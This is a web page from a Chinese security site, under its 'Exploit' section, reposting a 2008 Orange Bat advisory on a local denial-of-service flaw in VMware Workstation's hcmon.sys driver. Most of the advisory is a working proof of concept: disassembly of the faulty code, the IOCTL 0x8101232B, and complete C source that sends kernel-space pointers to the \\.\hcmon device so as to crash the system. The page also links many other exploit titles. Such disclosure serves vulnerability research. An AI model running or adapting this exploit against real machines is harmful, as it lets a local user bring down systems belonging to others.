• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability

VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability ,其中包含VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability 等知识点,遇到此问题的同学们可以参考下
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1 - - Orange Bat advisory - Name : VMWare Workstation (hcmon.sys 6.0.0.45731)
Class : DoS
Published : 2008-08-17
Credit : g_ (g_ # orange-bat # com) - - Details - Fails to sanitize pointers sent from usermode with METHOD_NEITHER. hcmon.sys: .text:00011606 loc_11606: .text:00011606 mov eax, [ebp SystemBuffer]
.text:00011609 mov [ebp SystemBuffer2], eax
.text:0001160C mov ecx, [ebp SystemBuffer2]
.text:0001160F mov edx, [ecx 0Ch] <---- BUGCHECK
.text:00011612 cmp edx, [ebp var_20]
.text:00011615 jnz short loc_11629
.text:00011617 cmp [ebp NumberOfBytes], 70h
.text:0001161B jb short loc_11629
.text:0001161D mov eax, [ebp SystemBuffer2]
.text:00011620 cmp dword ptr [eax 8], 7FFBh
.text:00011627 jbe short loc_11638 This code can be reached by sending 0x8101232B IOCTL to \\.\hcmon
device. - - Proof of concept - #include <windows.h>
#include <stdio.h>
#include <ddk/ntifs.h>
void TextError(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError(); FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) lstrlen((LPCTSTR)lpszFunction) 40) \
*sizeof(TCHAR));
sprintf((LPTSTR)lpDisplayBuf,
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
//MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); printf(lpDisplayBuf); LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
BOOL TestIOCTL(PCHAR DeviceName, DWORD Ioctl, DWORD InputBuffer, \
DWORD InputLen, DWORD OutputBuffer, DWORD OutputLen )
{
HANDLE hDevice; // handle to the drive to be examined
BOOL bResult; // results flag
DWORD junk; // discard results
IO_STATUS_BLOCK IoStatusBlock; hDevice = CreateFile(DeviceName,
0, // no access to the drive
FILE_SHARE_READ | // share mode
FILE_SHARE_WRITE,
NULL, // default security attributes
OPEN_EXISTING, // disposition
0, // file attributes
NULL); // do not copy file attributes if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
{
TextError("CreateFile");
return (FALSE);
}
bResult = DeviceIoControl(hDevice, // device to be queried
Ioctl,
(PVOID)InputBuffer,
InputLen,
(PVOID)OutputBuffer,
OutputLen, // output buffer
&junk, // # bytes returned
(LPOVERLAPPED)NULL); // synchronous I/O
if(!bResult){
TextError("DeviceIoControl");
} CloseHandle(hDevice); return TRUE;
} int main(int argc, char *argv[])
{
DWORD Ioctl, Input, ILen, Output, OLen;
DWORD SSDT;
char *ptr; if(TestIOCTL("\\\\.\\hcmon", 0x8101232B, 0x80000001, 0, 0x80000002, 0)){
printf("You should not see this");
}
else{
printf("Failed to open device");
}
return 0;
}
- - PGP - All advisories from Orange Bat are signed. You can find our public
key here: http://www.orange-bat.com/g_.asc - - Disclaimer - This document and all the information it contains is provided "as is",
without any warranty. Orange Bat is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only. Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact. (c) 2008 www.orange-bat.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32) - GPGshell v3.70 iEYEARECAAYFAkioiW4ACgkQIUHRVUfOLgUQEQCdE1YYpJAUypShf5oStwMfbRRC
BPMAniLYABIgCgxkZVSQAQawV060P4M8
=cp6A
-----END PGP SIGNATURE-----

</div>

您可能想查找下面的文章:

相关文章

  • MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption
  • HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit
  • pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
  • Linux Kernel
  • DigiLeave 1.2 (info_book.asp book_id) Blind SQL Injection Exploit
  • Mole Group Last Minute Script
  • Cisco IOS 12.3(18) FTP Server Remote Exploit (attached to gdb)
  • Maian Music 1.0 Insecure Cookie Handling Vulnerability
  • CodeDB (list.php lang) Local File Inclusion Vulnerability
  • Arctic Issue Tracker 2.0.0 (index.php filter) SQL Injection Exploit

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • Mole Group Last Minute Script
    • Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit
    • phsBlog 0.2 Bypass SQL Injection Filtering Exploit
    • Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit
    • Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit
    • Simple PHP Blog (SPHPBlog)
    • Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability
    • Poppler
    • Belkin wireless G router ADSL2 modem Auth Bypass Exploit
    • MyBulletinBoard (MyBB)

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有